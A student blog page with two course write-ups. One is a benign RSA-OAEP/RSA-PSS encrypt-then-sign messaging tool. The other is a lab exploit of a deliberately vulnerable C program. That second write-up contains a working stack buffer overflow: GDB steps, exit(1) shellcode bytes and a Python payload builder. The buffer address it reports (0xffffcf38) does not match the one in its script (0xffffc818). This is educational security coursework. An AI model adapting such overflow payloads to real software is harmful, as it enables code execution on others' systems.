Forem: Bettina Ligero

RSA-OAEP Encrypt-then-Sign Messaging Tool

Bettina Ligero — Fri, 24 Apr 2026 14:54:16 +0000

Machine Problem 2
Group Members: Deen, Ligero, Torres

Introduction

This machine problem involved designing and implementing a secure messaging system using public-key cryptography. Unlike the previous exercise—where the goal was to break a program's security—this one required building security in from the ground up.

The objective was to construct a command-line tool that allows users to exchange messages with two guarantees:

Confidentiality – only the intended recipient can read the message
Authenticity – the recipient can verify who sent it

To achieve both properties simultaneously, the program follows an Encrypt-then-Sign construction: the message is first encrypted using RSA-OAEP, and the resulting ciphertext is then digitally signed using RSA-PSS. This ordering ensures that the signature covers the ciphertext itself, protecting against certain classes of attacks where a valid ciphertext could be re-signed by a malicious third party.

The Cryptographic Scheme

The tool is built on two well-established RSA schemes, both using SHA-256 as the underlying hash function.

RSA-OAEP (Encryption)

RSA-OAEP (Optimal Asymmetric Encryption Padding) is used to encrypt the plaintext message. Raw RSA encryption is deterministic and vulnerable to chosen-plaintext attacks. OAEP adds randomized padding before encryption, making repeated encryptions of the same message produce different ciphertexts and significantly hardening the scheme against cryptanalysis.

The sender encrypts using the recipient's public encryption key. Only the recipient—who holds the matching private key—can decrypt it.

RSA-PSS (Signing)

RSA-PSS (Probabilistic Signature Scheme) is used to sign the encrypted message. Like OAEP, PSS incorporates randomness into the padding process, making it provably secure under standard hardness assumptions.

The sender signs using their own private signing key. Anyone with the sender's public signing key can verify the signature—but only the legitimate sender could have produced it.

Why Separate Keys?

A deliberate design choice was made to use separate key pairs for encryption and signing. While it is technically possible to reuse a single RSA key pair for both operations, this practice weakens the security boundaries between the two roles. Dedicated keys ensure that a compromise of one key does not automatically compromise the other, and it aligns with real-world standards such as X.509 certificate profiles and PGP key conventions.

Key Generation and the Directory

Each user generates two RSA key pairs (4096-bit): one for encryption and one for signing. The private keys are stored locally in a keys/ directory. The corresponding public keys are registered in a shared directory.json file, which acts as a simple public key infrastructure (PKI).

python mp2.py genkey alice
python mp2.py genkey bob

After registration, public keys can be inspected by any user:

python mp2.py list       # lists all registered identities
python mp2.py lookup alice  # displays alice's public keys

The directory.json file is a flat JSON structure mapping each identity to its public encryption and signing keys in PEM format. While functional for this exercise, this approach has a notable limitation discussed later.

Encrypting and Signing a Message

To send a message, the sender specifies their own identity, the recipient's identity, and the plaintext:

python mp2.py encrypt-sign alice bob "Hello Bob!" -o msg.json

Internally, this performs the following steps:

Retrieve the recipient's public encryption key from directory.json
Encrypt the plaintext using RSA-OAEP with the recipient's key
Retrieve the sender's private signing key from local storage
Sign the ciphertext using RSA-PSS with the sender's key
Bundle the result into a JSON file containing the ciphertext, the signature, and the sender's identity

The output msg.json contains no plaintext—only the encrypted blob, the signature over that blob, and metadata identifying the sender.

Verifying and Decrypting

The recipient processes the message with:

python mp2.py verify-decrypt bob msg.json

This performs the operations in reverse:

Look up the sender's public signing key from directory.json
Verify the signature over the ciphertext using RSA-PSS
If verification passes, decrypt the ciphertext using the recipient's private key
Output the plaintext message

Verified decryption:

If any part of the message bundle has been modified—ciphertext, signature, or sender identity—the PSS verification step will fail, and the program halts with an error before any decryption is attempted. This is the key security property of the Encrypt-then-Sign construction: tampering is caught at the verification stage, not silently tolerated.

File Structure

.
├── mp2.py
├── keys/
│   ├── <identity>_enc_priv.pem
│   ├── <identity>_enc_pub.pem
│   ├── <identity>_sign_priv.pem
│   └── <identity>_sign_pub.pem
├── directory.json
└── msg.json

Results

Testing the system end-to-end with valid keys and identities produced the expected behavior in all cases:

A message encrypted for bob could only be decrypted by bob
A message signed by alice was verified using alice's public key
Any modification to the ciphertext or signature caused verification to fail immediately
Attempting to decrypt with the wrong private key produced a decryption error

The tool correctly enforces the two core security guarantees: only the intended recipient can read the message, and the recipient can confirm who sent it.

Limitations

The implementation has several constraints worth noting:

Message size. RSA-OAEP with SHA-256 and a 4096-bit key can encrypt at most around 446 bytes. The program enforces a 140-character plaintext limit to remain within this bound. A more practical system would use hybrid encryption—generate a random AES session key, encrypt the message with AES, and then encrypt only the session key with RSA. This approach removes the message size constraint while preserving the security properties of RSA.

Directory trust. The directory.json file has no authentication mechanism. A malicious actor with write access to the directory could substitute their own public key under another user's identity—a classic key substitution attack. Real PKI systems address this with certificate authorities, web-of-trust models, or out-of-band key verification.

No forward secrecy. Because the same long-lived RSA keys are used for every message, a future compromise of a private key would expose all previously recorded ciphertexts. Systems requiring stronger security guarantees often combine asymmetric key exchange with ephemeral session keys (as in TLS or Signal's Double Ratchet protocol).

Conclusion

This machine problem demonstrated how public-key cryptography can be composed to provide both confidentiality and authenticity in a messaging system. The Encrypt-then-Sign construction—using RSA-OAEP for encryption and RSA-PSS for signing—produced a tool that correctly protects messages against eavesdropping and detects any tampering before decryption is attempted.

Separating encryption and signing into distinct key pairs was the most consequential design decision, as it follows established cryptographic hygiene and prevents cross-role key misuse. While the current implementation has practical limitations around message size and directory security, it cleanly illustrates the fundamental principles underlying modern secure messaging protocols.

Requirements

Python 3
cryptography library — install with:

pip install cryptography

Note: Key addresses and file paths may differ across environments. If transferring keys between systems, ensure the directory.json and keys/ directory are synchronized between participants.

Exploiting a Stack Buffer Overflow to Force Program Termination

Bettina Ligero — Wed, 11 Mar 2026 12:07:56 +0000

Machine Problem 1
Group Members: Deen, Ligero, Torres

Introduction

This machine problem involved analyzing and exploiting a deliberately vulnerable C program. Under normal execution, the program reads a line of input and then enters an infinite loop, preventing it from terminating on its own. The objective of the exercise was to exploit a stack-based buffer overflow vulnerability to force the program to exit with a status code of 1, without modifying the original source code.

Achieving this required constructing a carefully crafted binary payload, commonly referred to as shellcode, that would overwrite the program’s return address on the stack. By redirecting execution to this injected code, the exploit could hijack the program’s control flow at the assembly level and invoke the Linux exit system call directly.

The Vulnerable Program

The vulnerable program is shown below.

Source file: vuln.c

#include <stdio.h>

void vuln() {
    char buffer[8];
    gets(buffer);
}

int main() {
    vuln();
    while (1) {}
}

The vulnerability arises from the use of the gets() function. Unlike safer input functions, gets() performs no bounds checking on the data it reads. Since the buffer declared in the program is only 8 bytes long, any input exceeding this length will overflow into adjacent memory on the stack.

When a buffer overflow occurs in a stack frame, it can overwrite critical values such as:

the saved base pointer (EBP)
the saved return address (EIP)

By overwriting the return address, an attacker can redirect execution to an arbitrary location in memory. In this assignment, the goal was to redirect execution to custom shellcode placed on the stack.

Build Configuration

The program was compiled using the command specified in the assignment:

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 \
    -fno-pie -ggdb -z execstack -std=c99 vuln.c -o vuln

Several compilation flags were intentionally used to simplify exploitation:

-m32 – Compiles the program as a 32-bit binary, allowing the use of the simpler int 0x80 Linux syscall interface.
-fno-stack-protector – Disables stack canaries that normally detect buffer overflows.
-mpreferred-stack-boundary=2 – Simplifies stack alignment for more predictable memory layouts.
-fno-pie – Disables position-independent execution so code addresses remain fixed.
-z execstack – Marks the stack as executable, allowing injected shellcode to run.
-ggdb – Includes debugging symbols to aid analysis in GDB.

Together, these settings create an environment where stack-based exploitation can be demonstrated more clearly.

Discovering the Stack Layout

To determine where the buffer resides in memory, the program was inspected using GDB. A breakpoint was placed at the beginning of the vuln() function:

break vuln
run
print &buffer
info frame

This revealed that the buffer was located at the address:

0xffffcf38

Based on the observed stack layout, the exploit payload was structured as follows:

8 bytes of filler – fills the buffer
4 bytes of filler – overwrites the saved EBP
4 bytes – overwrites the return address
8 bytes of shellcode – placed immediately after the return address

The return address was set to BUFFER_ADDR + 16, which points to the start of the shellcode. This offset corresponds to the total number of bytes preceding the shellcode in the payload:

8 (buffer) + 4 (saved EBP) + 4 (return address) = 16

Shellcode Design

The shellcode’s purpose was to invoke the Linux system call:

exit(1)

In 32-bit Linux, system calls are triggered using the int 0x80 instruction. The syscall number is stored in the EAX register, while the first argument is placed in EBX.

For the exit syscall:

EAX = 1 (syscall number)
EBX = 1 (exit status)

The assembly code used was:

xor %eax, %eax
inc %eax
xor %ebx, %ebx
inc %ebx
int 0x80

This sequence:

Clears both registers
Sets EAX to the exit syscall number
Sets EBX to the desired exit code
Invokes the kernel

The corresponding machine code bytes are:

31 c0 40 31 db 43 cd 80

These bytes were verified by assembling a test file and examining the output using objdump.

Constructing the Exploit Payload

To automate payload creation, a Python script (exploit.py) was written:

import struct

BUFFER_ADDR = 0xffffc818
SHELLCODE   = b"\x31\xc0\x40\x31\xdb\x43\xcd\x80"

payload  = b"VAPOREON"
payload += b"EEVE"
payload += struct.pack("<I", BUFFER_ADDR + 16)
payload += SHELLCODE

with open("egg", "wb") as f:
    f.write(payload)

The payload consists of:

"VAPOREON" – fills the 8-byte buffer
"EEVE" – overwrites the saved base pointer
the calculated return address
the shellcode

The return address is encoded using:

struct.pack("<I", ...)

This ensures the address is stored in little-endian format, which is required by x86 architectures.

The final egg file is 24 bytes long.

Hex representation:

56 41 50 4f 52 45 4f 4e   ← buffer fill
45 45 56 45               ← saved EBP overwrite
28 c8 ff ff               ← return address
31 c0 40 31 db 43 cd 80   ← shellcode

Execution and Results

The exploit was tested within GDB by redirecting the payload as standard input:

set disable-randomization on
run < egg

The program produced the following output:

[Inferior 1 (process 31619) exited with code 01]

This confirms that the shellcode executed successfully and the program terminated with the required exit code.

Proof artifact:

ASLR Behavior Outside GDB

Although the exploit worked reliably inside GDB, running the program normally produced different results:

./vuln < egg

Instead of exiting with code 1, the program terminated with exit code 139, indicating a segmentation fault.

This behavior occurs because Address Space Layout Randomization (ASLR) remains enabled outside GDB. ASLR randomizes memory addresses, including stack locations, each time a program runs.

When debugging in GDB, ASLR is typically disabled, which keeps stack addresses consistent between runs. This stability allows the exploit’s hardcoded return address to reliably point to the shellcode.

Outside the debugger, however, the buffer’s address changes on every execution. As a result, the return address in the payload often points to an invalid location, causing the program to crash instead of executing the shellcode.

Team Collaboration

The group collaborated on this machine problem using a shared GitHub repository. Source files—including vuln.c, exploit.py, and the generated egg file—were committed and pushed to the repository so that all members could access the latest version of the exploit and test it on their own systems.

Conclusion

This machine problem demonstrated how a single unsafe function call—gets()—can expose a program to severe security vulnerabilities. By exploiting a stack-based buffer overflow, it was possible to overwrite a function’s return address and redirect execution to custom shellcode.

Through this process, the group successfully forced the program to terminate with exit code 1, despite the program’s infinite loop. The exercise reinforced several key concepts in systems security, including stack memory layout, x86 calling conventions, Linux system calls, and the mechanics of constructing binary exploitation payloads.

Notes

The buffer address may vary across different environments. If running the program on another system or outside GDB, the address should be rechecked using:

print &buffer

After updating the address in exploit.py, regenerate the payload by running:

python3 exploit.py